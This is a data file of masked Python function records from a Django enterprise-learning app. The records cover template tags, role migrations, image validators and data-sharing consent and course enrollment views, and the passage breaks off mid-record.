{"signature": "@register.inclusion_tag('<STR_LIT>')<EOL>def expand_button(value, href):", "body": "return {<EOL>'<STR_LIT:value>': value,<EOL>'<STR_LIT>': href,<EOL>}<EOL>", "docstring": "Django template tag that returns a button used to expand/collapse a container.\n\nYou may pass in the ID of the container that this button controls, and a button text value.\n\nUsage:\n    {% expand_button 'Click me!' '#id' %}", "id": "f15989:m3"}
{"signature": "@register.filter(needs_autoescape=True)<EOL>def link_to_modal(link_text, index, autoescape=True):  ", "body": "link = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(<EOL>index=index,<EOL>link_text=link_text,<EOL>)<EOL>return mark_safe(link)<EOL>", "docstring": "Django template filter that returns an anchor with attributes useful for course modal selection.\n\nGeneral Usage:\n    {{ link_text|link_to_modal:index }}\n\nExamples:\n    {{ course_title|link_to_modal:forloop.counter0 }}\n    {{ course_title|link_to_modal:3 }}\n    {{ view_details_text|link_to_modal:0 }}", "id": "f15989:m4"}
{"signature": "@register.filter()<EOL>def only_safe_html(html_text):", "body": "return mark_safe(strip_html_tags(html_text))<EOL>", "docstring": "Django template filter that strips all HTML tags excepts those degined in ALLOWED_TAGS.\n\nGeneral Usage:\n    {{ html_text|only_safe_html }}", "id": "f15989:m5"}
{"signature": "def create_switch(apps, schema_editor):", "body": "Switch = apps.get_model('<STR_LIT>', '<STR_LIT>')<EOL>Switch.objects.update_or_create(name=ENTERPRISE_ROLE_BASED_ACCESS_CONTROL_SWITCH, defaults={'<STR_LIT>': False})<EOL>", "docstring": "Create the `role_based_access_control` switch if it does not already exist.", "id": "f16001:m0"}
{"signature": "def delete_switch(apps, schema_editor):", "body": "Switch = apps.get_model('<STR_LIT>', '<STR_LIT>')<EOL>Switch.objects.filter(name=ENTERPRISE_ROLE_BASED_ACCESS_CONTROL_SWITCH).delete()<EOL>", "docstring": "Delete the `role_based_access_control` switch.", "id": "f16001:m1"}
{"signature": "def create_roles(apps, schema_editor):", "body": "EnterpriseFeatureRole = apps.get_model('<STR_LIT>', '<STR_LIT>')<EOL>EnterpriseFeatureRole.objects.update_or_create(name=ENTERPRISE_CATALOG_ADMIN_ROLE)<EOL>EnterpriseFeatureRole.objects.update_or_create(name=ENTERPRISE_DASHBOARD_ADMIN_ROLE)<EOL>EnterpriseFeatureRole.objects.update_or_create(name=ENTERPRISE_ENROLLMENT_API_ADMIN_ROLE)<EOL>", "docstring": "Create the enterprise roles if they do not already exist.", "id": "f16002:m0"}
{"signature": "def delete_roles(apps, schema_editor):", "body": "EnterpriseFeatureRole = apps.get_model('<STR_LIT>', '<STR_LIT>')<EOL>EnterpriseFeatureRole.objects.filter(<EOL>name__in=[ENTERPRISE_CATALOG_ADMIN_ROLE, ENTERPRISE_DASHBOARD_ADMIN_ROLE, ENTERPRISE_ENROLLMENT_API_ADMIN_ROLE]<EOL>).delete()<EOL>", "docstring": "Delete the enterprise roles.", "id": "f16002:m1"}
{"signature": "def create_roles(apps, schema_editor):", "body": "SystemWideEnterpriseRole = apps.get_model('<STR_LIT>', '<STR_LIT>')<EOL>SystemWideEnterpriseRole.objects.update_or_create(name=ENTERPRISE_ADMIN_ROLE)<EOL>SystemWideEnterpriseRole.objects.update_or_create(name=ENTERPRISE_LEARNER_ROLE)<EOL>", "docstring": "Create the enterprise roles if they do not already exist.", "id": "f16012:m0"}
{"signature": "def delete_roles(apps, schema_editor):", "body": "SystemWideEnterpriseRole = apps.get_model('<STR_LIT>', '<STR_LIT>')<EOL>SystemWideEnterpriseRole.objects.filter(<EOL>name__in=[ENTERPRISE_ADMIN_ROLE, ENTERPRISE_LEARNER_ROLE]<EOL>).delete()<EOL>", "docstring": "Delete the enterprise roles.", "id": "f16012:m1"}
{"signature": "def create_roles(apps, schema_editor):", "body": "SystemWideEnterpriseRole = apps.get_model('<STR_LIT>', '<STR_LIT>')<EOL>SystemWideEnterpriseRole.objects.update_or_create(name=ENTERPRISE_OPERATOR_ROLE)<EOL>", "docstring": "Create the enterprise roles if they do not already exist.", "id": "f16050:m0"}
{"signature": "def delete_roles(apps, schema_editor):", "body": "SystemWideEnterpriseRole = apps.get_model('<STR_LIT>', '<STR_LIT>')<EOL>SystemWideEnterpriseRole.objects.filter(<EOL>name__in=[ENTERPRISE_OPERATOR_ROLE]<EOL>).delete()<EOL>", "docstring": "Delete the enterprise roles.", "id": "f16050:m1"}
{"signature": "def get_app_config():", "body": "return apps.get_app_config(\"<STR_LIT>\")<EOL>", "docstring": ":return Application configuration.", "id": "f16058:m0"}
{"signature": "def validate_image_extension(value):", "body": "config = get_app_config()<EOL>ext = os.path.splitext(value.name)[<NUM_LIT:1>]<EOL>if config and not ext.lower() in config.valid_image_extensions:<EOL><INDENT>raise ValidationError(_(\"<STR_LIT>\"))<EOL><DEDENT>", "docstring": "Validate that a particular image extension.", "id": "f16058:m1"}
{"signature": "def validate_image_size(image):", "body": "config = get_app_config()<EOL>valid_max_image_size_in_bytes = config.valid_max_image_size * <NUM_LIT><EOL>if config and not image.size <= valid_max_image_size_in_bytes:<EOL><INDENT>raise ValidationError(<EOL>_(\"<STR_LIT>\") % config.valid_max_image_size)<EOL><DEDENT>", "docstring": "Validate that a particular image size.", "id": "f16058:m2"}
{"signature": "def verify_edx_resources():", "body": "required_methods = {<EOL>'<STR_LIT>': ProgramDataExtender,<EOL>}<EOL>for method in required_methods:<EOL><INDENT>if required_methods[method] is None:<EOL><INDENT>raise NotConnectedToOpenEdX(<EOL>_(\"<STR_LIT>\")<EOL>+ \"<STR_LIT>\".format(method=method)<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "Ensure that all necessary resources to render the view are present.", "id": "f16059:m0"}
{"signature": "def get_global_context(request, enterprise_customer):", "body": "platform_name = get_configuration_value(\"<STR_LIT>\", settings.PLATFORM_NAME)<EOL>return {<EOL>'<STR_LIT>': enterprise_customer,<EOL>'<STR_LIT>': settings.LMS_SEGMENT_KEY,<EOL>'<STR_LIT>': get_language_from_request(request),<EOL>'<STR_LIT>': get_configuration_value(\"<STR_LIT>\", settings.ENTERPRISE_TAGLINE),<EOL>'<STR_LIT>': get_configuration_value(<EOL>\"<STR_LIT>\",<EOL>settings.PLATFORM_DESCRIPTION,<EOL>),<EOL>'<STR_LIT>': settings.LMS_ROOT_URL,<EOL>'<STR_LIT>': platform_name,<EOL>'<STR_LIT>': _('<STR_LIT>').format(platform_name=platform_name),<EOL>'<STR_LIT>': constants.WELCOME_TEXT.format(platform_name=platform_name),<EOL>'<STR_LIT>': constants.ENTERPRISE_WELCOME_TEXT.format(<EOL>enterprise_customer_name=enterprise_customer.name,<EOL>platform_name=platform_name,<EOL>strong_start='<STR_LIT>',<EOL>strong_end='<STR_LIT>',<EOL>line_break='<STR_LIT>',<EOL>privacy_policy_link_start=\"<STR_LIT>\".format(<EOL>pp_url=get_configuration_value('<STR_LIT>', '<STR_LIT>', type='<STR_LIT:url>'),<EOL>),<EOL>privacy_policy_link_end=\"<STR_LIT>\",<EOL>),<EOL>}<EOL>", "docstring": "Get the set of variables that are needed by default across views.", "id": "f16059:m1"}
{"signature": "def get_price_text(price, request):", "body": "if waffle.switch_is_active('<STR_LIT>') and get_localized_price_text:<EOL><INDENT>return get_localized_price_text(price, request)<EOL><DEDENT>return format_price(price)<EOL>", "docstring": "Return the localized converted price as string (ex. '$150 USD').\n\nIf the local_currency switch is enabled and the users location has been determined this will convert the\ngiven price based on conversion rate from the Catalog service and return a localized string", "id": "f16059:m2"}
{"signature": "def render_page_with_error_code_message(request, context_data, error_code, log_message):", "body": "LOGGER.error(log_message)<EOL>messages.add_generic_error_message_with_code(request, error_code)<EOL>return render(<EOL>request,<EOL>ENTERPRISE_GENERAL_ERROR_PAGE,<EOL>context=context_data,<EOL>status=<NUM_LIT>,<EOL>)<EOL>", "docstring": "Return a 404 page with specified error_code after logging error and adding message to django messages.", "id": "f16059:m3"}
{"signature": "@method_decorator(transaction.non_atomic_requests)<EOL><INDENT>def dispatch(self, request, *args, **kwargs):<DEDENT>", "body": "return super(NonAtomicView, self).dispatch(request, *args, **kwargs)<EOL>", "docstring": "Disable atomicity for the view.\n\nSince we have settings.ATOMIC_REQUESTS enabled, Django wraps all view functions in an atomic transaction, so\nthey can be rolled back if anything fails.\n\nHowever, we need to be able to save data in the middle of get/post(), so that it's available for calls to\nexternal APIs.  To allow this, we need to disable atomicity at the top dispatch level.", "id": "f16059:c0:m0"}
{"signature": "def course_or_program_exist(self, course_id, program_uuid):", "body": "course_exists = course_id and CourseApiClient().get_course_details(course_id)<EOL>program_exists = program_uuid and CourseCatalogApiServiceClient().program_exists(program_uuid)<EOL>return course_exists or program_exists<EOL>", "docstring": "Return whether the input course or program exist.", "id": "f16059:c1:m0"}
{"signature": "def get_default_context(self, enterprise_customer, platform_name):", "body": "context_data = {<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(<EOL>enterprise_customer_name=enterprise_customer.name,<EOL>bold_start='<STR_LIT>',<EOL>bold_end='<STR_LIT>',<EOL>start_link='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>end_link='<STR_LIT>',<EOL>),<EOL>'<STR_LIT>': _(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(<EOL>enterprise_customer_name=enterprise_customer.name,<EOL>platform_name=platform_name,<EOL>),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(<EOL>enterprise_customer_name=enterprise_customer.name<EOL>),<EOL>'<STR_LIT>': [<EOL>_(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(<EOL>platform_name=platform_name<EOL>),<EOL>_(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(<EOL>platform_name=platform_name,<EOL>enterprise_customer_name=enterprise_customer.name,<EOL>),<EOL>_('<STR_LIT>').format(platform_name=platform_name),<EOL>_('<STR_LIT>'),<EOL>_(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>),<EOL>_(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>),<EOL>_(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>),<EOL>_(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>),<EOL>_('<STR_LIT>'),<EOL>_('<STR_LIT>'),<EOL>_('<STR_LIT>'),<EOL>],<EOL>'<STR_LIT>': _(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(<EOL>enterprise_customer_name=enterprise_customer.name,<EOL>platform_name=platform_name,<EOL>),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': [<EOL>_('<STR_LIT>').format(<EOL>enterprise_customer_name=enterprise_customer.name<EOL>),<EOL>],<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>').format(<EOL>start_link='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>end_link='<STR_LIT>',<EOL>),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>}<EOL>return context_data<EOL>", "docstring": "Get the set of variables that will populate the template by default.", "id": "f16059:c1:m1"}
{"signature": "def get_context_from_db(self, consent_page, platform_name, item, context):", "body": "enterprise_customer = consent_page.enterprise_customer<EOL>course_title = context.get('<STR_LIT>', None)<EOL>course_start_date = context.get('<STR_LIT>', None)<EOL>context_data = {<EOL>'<STR_LIT>': True,<EOL>'<STR_LIT>': consent_page.page_title,<EOL>'<STR_LIT>': consent_page.left_sidebar_text.format(<EOL>enterprise_customer_name=enterprise_customer.name,<EOL>platform_name=platform_name,<EOL>item=item,<EOL>course_title=course_title,<EOL>course_start_date=course_start_date,<EOL>),<EOL>'<STR_LIT>': consent_page.top_paragraph.format(<EOL>enterprise_customer_name=enterprise_customer.name,<EOL>platform_name=platform_name,<EOL>item=item,<EOL>course_title=course_title,<EOL>course_start_date=course_start_date,<EOL>),<EOL>'<STR_LIT>': consent_page.agreement_text.format(<EOL>enterprise_customer_name=enterprise_customer.name,<EOL>platform_name=platform_name,<EOL>item=item,<EOL>course_title=course_title,<EOL>course_start_date=course_start_date,<EOL>),<EOL>'<STR_LIT>': consent_page.continue_text,<EOL>'<STR_LIT>': consent_page.abort_text,<EOL>'<STR_LIT>': consent_page.policy_dropdown_header,<EOL>'<STR_LIT>': consent_page.policy_paragraph.format(<EOL>enterprise_customer_name=enterprise_customer.name,<EOL>platform_name=platform_name,<EOL>item=item,<EOL>course_title=course_title,<EOL>course_start_date=course_start_date,<EOL>),<EOL>'<STR_LIT>': consent_page.confirmation_modal_header.format(<EOL>enterprise_customer_name=enterprise_customer.name,<EOL>platform_name=platform_name,<EOL>item=item,<EOL>course_title=course_title,<EOL>course_start_date=course_start_date,<EOL>),<EOL>'<STR_LIT>': consent_page.confirmation_modal_text.format(<EOL>enterprise_customer_name=enterprise_customer.name,<EOL>platform_name=platform_name,<EOL>item=item,<EOL>course_title=course_title,<EOL>course_start_date=course_start_date,<EOL>),<EOL>'<STR_LIT>': consent_page.modal_affirm_decline_text,<EOL>'<STR_LIT>': consent_page.modal_abort_decline_text,<EOL>}<EOL>return context_data<EOL>", "docstring": "Make set of variables(populated from db) that will be used in data sharing consent page.", "id": "f16059:c1:m2"}
{"signature": "def get_course_or_program_context(self, enterprise_customer, course_id=None, program_uuid=None):", "body": "context_data = {}<EOL>if course_id:<EOL><INDENT>context_data.update({'<STR_LIT>': course_id, '<STR_LIT>': True})<EOL>if not self.preview_mode:<EOL><INDENT>try:<EOL><INDENT>catalog_api_client = CourseCatalogApiServiceClient(enterprise_customer.site)<EOL><DEDENT>except ImproperlyConfigured:<EOL><INDENT>raise Http404<EOL><DEDENT>course_run_details = catalog_api_client.get_course_run(course_id)<EOL>course_start_date = '<STR_LIT>'<EOL>if course_run_details['<STR_LIT:start>']:<EOL><INDENT>course_start_date = parse(course_run_details['<STR_LIT:start>']).strftime('<STR_LIT>')<EOL><DEDENT>context_data.update({<EOL>'<STR_LIT>': course_run_details['<STR_LIT:title>'],<EOL>'<STR_LIT>': course_start_date,<EOL>})<EOL><DEDENT>else:<EOL><INDENT>context_data.update({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': datetime.datetime.now().strftime('<STR_LIT>'),<EOL>})<EOL><DEDENT><DEDENT>else:<EOL><INDENT>context_data.update({<EOL>'<STR_LIT>': program_uuid,<EOL>'<STR_LIT>': True,<EOL>})<EOL><DEDENT>return context_data<EOL>", "docstring": "Return a dict having course or program specific keys for data sharing consent page.", "id": "f16059:c1:m3"}
{"signature": "@method_decorator(login_required)<EOL><INDENT>def get(self, request):<DEDENT>", "body": "enterprise_customer_uuid = request.GET.get('<STR_LIT>')<EOL>success_url = request.GET.get('<STR_LIT>')<EOL>failure_url = request.GET.get('<STR_LIT>')<EOL>course_id = request.GET.get('<STR_LIT>', '<STR_LIT>')<EOL>program_uuid = request.GET.get('<STR_LIT>', '<STR_LIT>')<EOL>self.preview_mode = bool(request.GET.get('<STR_LIT>', False))<EOL>enterprise_customer = get_enterprise_customer_or_404(enterprise_customer_uuid)<EOL>context_data = get_global_context(request, enterprise_customer)<EOL>if not self.preview_mode:<EOL><INDENT>if not self.course_or_program_exist(course_id, program_uuid):<EOL><INDENT>error_code = '<STR_LIT>'<EOL>log_message = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>course_id=course_id,<EOL>program_uuid=program_uuid,<EOL>error_code=error_code,<EOL>userid=request.user.id,<EOL>enterprise_customer_uuid=enterprise_customer_uuid,<EOL>)<EOL>)<EOL>return render_page_with_error_code_message(request, context_data, error_code, log_message)<EOL><DEDENT>try:<EOL><INDENT>consent_record = get_data_sharing_consent(<EOL>request.user.username,<EOL>enterprise_customer_uuid,<EOL>program_uuid=program_uuid,<EOL>course_id=course_id<EOL>)<EOL><DEDENT>except NotConnectedToOpenEdX as error:<EOL><INDENT>error_code = '<STR_LIT>'<EOL>log_message = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>userid=request.user.id,<EOL>enterprise_customer_uuid=enterprise_customer_uuid,<EOL>error=error,<EOL>error_code=error_code,<EOL>course_id=course_id,<EOL>)<EOL>)<EOL>return render_page_with_error_code_message(request, context_data, error_code, log_message)<EOL><DEDENT>try:<EOL><INDENT>consent_required = consent_record.consent_required()<EOL><DEDENT>except AttributeError:<EOL><INDENT>consent_required = None<EOL><DEDENT>if consent_record is None or not consent_required:<EOL><INDENT>error_code = '<STR_LIT>'<EOL>log_message = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>userid=request.user.id,<EOL>enterprise_customer_uuid=enterprise_customer_uuid,<EOL>consent_record=consent_record,<EOL>consent_required=consent_required,<EOL>error_code=error_code,<EOL>course_id=course_id,<EOL>)<EOL>)<EOL>return render_page_with_error_code_message(request, context_data, error_code, log_message)<EOL><DEDENT>else:<EOL><INDENT>enterprise_customer = consent_record.enterprise_customer<EOL><DEDENT><DEDENT>elif not request.user.is_staff:<EOL><INDENT>raise PermissionDenied()<EOL><DEDENT>context_data = get_global_context(request, enterprise_customer)<EOL>if not (enterprise_customer_uuid and success_url and failure_url):<EOL><INDENT>error_code = '<STR_LIT>'<EOL>log_message = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>userid=request.user.id,<EOL>enterprise_customer_uuid=enterprise_customer_uuid,<EOL>success_url=success_url,<EOL>failure_url=failure_url,<EOL>error_code=error_code,<EOL>course_id=course_id,<EOL>)<EOL>)<EOL>return render_page_with_error_code_message(request, context_data, error_code, log_message)<EOL><DEDENT>try:<EOL><INDENT>updated_context_dict = self.get_course_or_program_context(<EOL>enterprise_customer,<EOL>course_id=course_id,<EOL>program_uuid=program_uuid<EOL>)<EOL>context_data.update(updated_context_dict)<EOL><DEDENT>except Http404:<EOL><INDENT>error_code = '<STR_LIT>'<EOL>log_message = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>error_code=error_code,<EOL>userid=request.user.id,<EOL>enterprise_customer=enterprise_customer.uuid,<EOL>course_id=course_id,<EOL>)<EOL>)<EOL>return render_page_with_error_code_message(request, context_data, error_code, log_message)<EOL><DEDENT>item = '<STR_LIT>' if course_id else '<STR_LIT>'<EOL>context_data.update({<EOL>'<STR_LIT>': _(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(<EOL>enterprise_customer_name=enterprise_customer.name,<EOL>bold_start='<STR_LIT>',<EOL>bold_end='<STR_LIT>',<EOL>item=item,<EOL>),<EOL>'<STR_LIT>': _(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(<EOL>enterprise_customer_name=enterprise_customer.name,<EOL>bold_start='<STR_LIT>',<EOL>bold_end='<STR_LIT>',<EOL>item=item,<EOL>),<EOL>'<STR_LIT>': success_url,<EOL>'<STR_LIT>': failure_url,<EOL>'<STR_LIT>': request.GET.get('<STR_LIT>') is not None,<EOL>'<STR_LIT>': [<EOL>_('<STR_LIT>').format(item=item),<EOL>_('<STR_LIT>'),<EOL>_('<STR_LIT>'),<EOL>],<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>})<EOL>platform_name = context_data['<STR_LIT>']<EOL>published_only = False if self.preview_mode else True<EOL>enterprise_consent_page = enterprise_customer.get_data_sharing_consent_text_overrides(<EOL>published_only=published_only<EOL>)<EOL>if enterprise_consent_page:<EOL><INDENT>context_data.update(self.get_context_from_db(enterprise_consent_page, platform_name, item, context_data))<EOL><DEDENT>else:<EOL><INDENT>context_data.update(self.get_default_context(enterprise_customer, platform_name))<EOL><DEDENT>return render(request, '<STR_LIT>', context=context_data)<EOL>", "docstring": "Render a form to collect user input about data sharing consent.", "id": "f16059:c1:m4"}
{"signature": "@method_decorator(login_required)<EOL><INDENT>def post(self, request):<DEDENT>", "body": "enterprise_uuid = request.POST.get('<STR_LIT>')<EOL>success_url = request.POST.get('<STR_LIT>')<EOL>failure_url = request.POST.get('<STR_LIT>')<EOL>course_id = request.POST.get('<STR_LIT>', '<STR_LIT>')<EOL>program_uuid = request.POST.get('<STR_LIT>', '<STR_LIT>')<EOL>enterprise_customer = get_enterprise_customer_or_404(enterprise_uuid)<EOL>context_data = get_global_context(request, enterprise_customer)<EOL>if not (enterprise_uuid and success_url and failure_url):<EOL><INDENT>error_code = '<STR_LIT>'<EOL>log_message = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>userid=request.user.id,<EOL>enterprise_uuid=enterprise_uuid,<EOL>success_url=success_url,<EOL>failure_url=failure_url,<EOL>error_code=error_code,<EOL>course_id=course_id,<EOL>)<EOL>)<EOL>return render_page_with_error_code_message(request, context_data, error_code, log_message)<EOL><DEDENT>if not self.course_or_program_exist(course_id, program_uuid):<EOL><INDENT>error_code = '<STR_LIT>'<EOL>log_message = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>course_id=course_id,<EOL>program_uuid=program_uuid,<EOL>error_code=error_code,<EOL>userid=request.user.id,<EOL>enterprise_uuid=enterprise_uuid,<EOL>)<EOL>)<EOL>return render_page_with_error_code_message(request, context_data, error_code, log_message)<EOL><DEDENT>consent_record = get_data_sharing_consent(<EOL>request.user.username,<EOL>enterprise_uuid,<EOL>program_uuid=program_uuid,<EOL>course_id=course_id<EOL>)<EOL>if consent_record is None:<EOL><INDENT>error_code = '<STR_LIT>'<EOL>log_message = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>userid=request.user.id,<EOL>enterprise_uuid=enterprise_uuid,<EOL>consent_record=consent_record,<EOL>error_code=error_code,<EOL>course_id=course_id,<EOL>)<EOL>)<EOL>return render_page_with_error_code_message(request, context_data, error_code, log_message)<EOL><DEDENT>defer_creation = request.POST.get('<STR_LIT>')<EOL>consent_provided = bool(request.POST.get('<STR_LIT>', False))<EOL>if defer_creation is None and consent_record.consent_required():<EOL><INDENT>if course_id:<EOL><INDENT>enterprise_customer_user, __ = EnterpriseCustomerUser.objects.get_or_create(<EOL>enterprise_customer=consent_record.enterprise_customer,<EOL>user_id=request.user.id<EOL>)<EOL>enterprise_customer_user.update_session(request)<EOL>__, created = EnterpriseCourseEnrollment.objects.get_or_create(<EOL>enterprise_customer_user=enterprise_customer_user,<EOL>course_id=course_id,<EOL>)<EOL>if created:<EOL><INDENT>track_enrollment('<STR_LIT>', request.user.id, course_id, request.path)<EOL><DEDENT><DEDENT>consent_record.granted = consent_provided<EOL>consent_record.save()<EOL><DEDENT>return redirect(success_url if consent_provided else failure_url)<EOL>", "docstring": "Process the above form.", "id": "f16059:c1:m5"}
{"signature": "@method_decorator(enterprise_login_required)<EOL><INDENT>def get(self, request, enterprise_uuid, course_id):<DEDENT>", "body": "enrollment_course_mode = request.GET.get('<STR_LIT>')<EOL>enterprise_catalog_uuid = request.GET.get('<STR_LIT>')<EOL>if not enrollment_course_mode:<EOL><INDENT>return redirect(LMS_DASHBOARD_URL)<EOL><DEDENT>enrollment_api_client = EnrollmentApiClient()<EOL>course_modes = enrollment_api_client.get_course_modes(course_id)<EOL>enterprise_customer = get_enterprise_customer_or_404(enterprise_uuid)<EOL>enterprise_customer_user = get_enterprise_customer_user(request.user.id, enterprise_customer.uuid)<EOL>if not course_modes:<EOL><INDENT>context_data = get_global_context(request, enterprise_customer)<EOL>error_code = '<STR_LIT>'<EOL>log_message = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>userid=request.user.id,<EOL>enterprise_catalog_uuid=enterprise_catalog_uuid,<EOL>course_id=course_id,<EOL>error_code=error_code<EOL>)<EOL>)<EOL>return render_page_with_error_code_message(request, context_data, error_code, log_message)<EOL><DEDENT>selected_course_mode = None<EOL>for course_mode in course_modes:<EOL><INDENT>if course_mode['<STR_LIT>'] == enrollment_course_mode:<EOL><INDENT>selected_course_mode = course_mode<EOL>break<EOL><DEDENT><DEDENT>if not selected_course_mode:<EOL><INDENT>return redirect(LMS_DASHBOARD_URL)<EOL><DEDENT>__, created = EnterpriseCourseEnrollment.objects.get_or_create(<EOL>enterprise_customer_user=enterprise_customer_user,<EOL>course_id=course_id,<EOL>)<EOL>if created:<EOL><INDENT>track_enrollment('<STR_LIT>', request.user.id, course_id, request.get_full_path())<EOL><DEDENT>DataSharingConsent.objects.update_or_create(<EOL>username=enterprise_customer_user.username,<EOL>course_id=course_id,<EOL>enterprise_customer=enterprise_customer_user.enterprise_customer,<EOL>defaults={<EOL>'<STR_LIT>': True<EOL>},<EOL>)<EOL>audit_modes = getattr(settings, '<STR_LIT>', ['<STR_LIT>', '<STR_LIT>'])<EOL>if selected_course_mode['<STR_LIT>'] in audit_modes:<EOL><INDENT>enrollment_api_client.enroll_user_in_course(<EOL>request.user.username, course_id, selected_course_mode['<STR_LIT>']<EOL>)<EOL>return redirect(LMS_COURSEWARE_URL.format(course_id=course_id))<EOL><DEDENT>premium_flow = LMS_START_PREMIUM_COURSE_FLOW_URL.format(course_id=course_id)<EOL>if enterprise_catalog_uuid:<EOL><INDENT>premium_flow += '<STR_LIT>'.format(<EOL>catalog_uuid=enterprise_catalog_uuid<EOL>)<EOL><DEDENT>return redirect(premium_flow)<EOL>", "docstring": "Handle the enrollment of enterprise learner in the provided course.\n\nBased on `enterprise_uuid` in URL, the view will decide which\nenterprise customer's course enrollment record should be created.\n\nDepending on the value of query parameter `course_mode` then learner\nwill be either redirected to LMS dashboard for audit modes or\nredirected to ecommerce basket flow for payment of premium modes.", "id": "f16059:c2:m0"}
{"signature": "def set_final_prices(self, modes, request):", "body": "result = []<EOL>for mode in modes:<EOL><INDENT>if mode['<STR_LIT>']:<EOL><INDENT>mode['<STR_LIT>'] = EcommerceApiClient(request.user).get_course_final_price(<EOL>mode=mode,<EOL>enterprise_catalog_uuid=request.GET.get(<EOL>'<STR_LIT>'<EOL>) if request.method == '<STR_LIT:GET>' else None,<EOL>)<EOL><DEDENT>result.append(mode)<EOL><DEDENT>return result<EOL>", "docstring": "Set the final discounted price on each premium mode.", "id": "f16059:c3:m0"}
{"signature": "def get_available_course_modes(self, request, course_run_id, enterprise_catalog):", "body": "modes = EnrollmentApiClient().get_course_modes(course_run_id)<EOL>if not modes:<EOL><INDENT>LOGGER.warning('<STR_LIT>'.format(<EOL>course_run_id=course_run_id<EOL>))<EOL>messages.add_generic_info_message_for_error(request)<EOL><DEDENT>if enterprise_catalog:<EOL><INDENT>modes = [mode for mode in modes if mode['<STR_LIT>'] in enterprise_catalog.enabled_course_modes]<EOL>modes.sort(key=lambda course_mode: enterprise_catalog.enabled_course_modes.index(course_mode['<STR_LIT>']))<EOL>if not modes:<EOL><INDENT>LOGGER.info(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>course_run_id=course_run_id,<EOL>enterprise_catalog_uuid=enterprise_catalog,<EOL>)<EOL>)<EOL>messages.add_generic_info_message_for_error(request)<EOL><DEDENT><DEDENT>return modes<EOL>", "docstring": "Return the available course modes for the course run.\n\nThe provided EnterpriseCustomerCatalog is used to filter and order the\ncourse modes returned using the EnterpriseCustomerCatalog's\nfield \"enabled_course_modes\".", "id": "f16059:c3:m1"}
{"signature": "def get_base_details(self, request, enterprise_uuid, course_run_id):", "body": "enterprise_customer = get_enterprise_customer_or_404(enterprise_uuid)<EOL>enterprise_catalog_uuid = request.GET.get('<STR_LIT>')<EOL>enterprise_catalog = None<EOL>if enterprise_catalog_uuid:<EOL><INDENT>try:<EOL><INDENT>enterprise_catalog_uuid = UUID(enterprise_catalog_uuid)<EOL>enterprise_catalog = enterprise_customer.enterprise_customer_catalogs.get(<EOL>uuid=enterprise_catalog_uuid<EOL>)<EOL><DEDENT>except (ValueError, EnterpriseCustomerCatalog.DoesNotExist):<EOL><INDENT>LOGGER.warning(<EOL>'<STR_LIT>'.format(<EOL>enterprise_catalog_uuid=enterprise_catalog_uuid,<EOL>)<EOL>)<EOL>messages.add_generic_info_message_for_error(request)<EOL><DEDENT><DEDENT>course = None<EOL>course_run = None<EOL>course_modes = []<EOL>if enterprise_catalog:<EOL><INDENT>course, course_run = enterprise_catalog.get_course_and_course_run(course_run_id)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>course, course_run = CourseCatalogApiServiceClient(<EOL>enterprise_customer.site<EOL>).get_course_and_course_run(course_run_id)<EOL><DEDENT>except 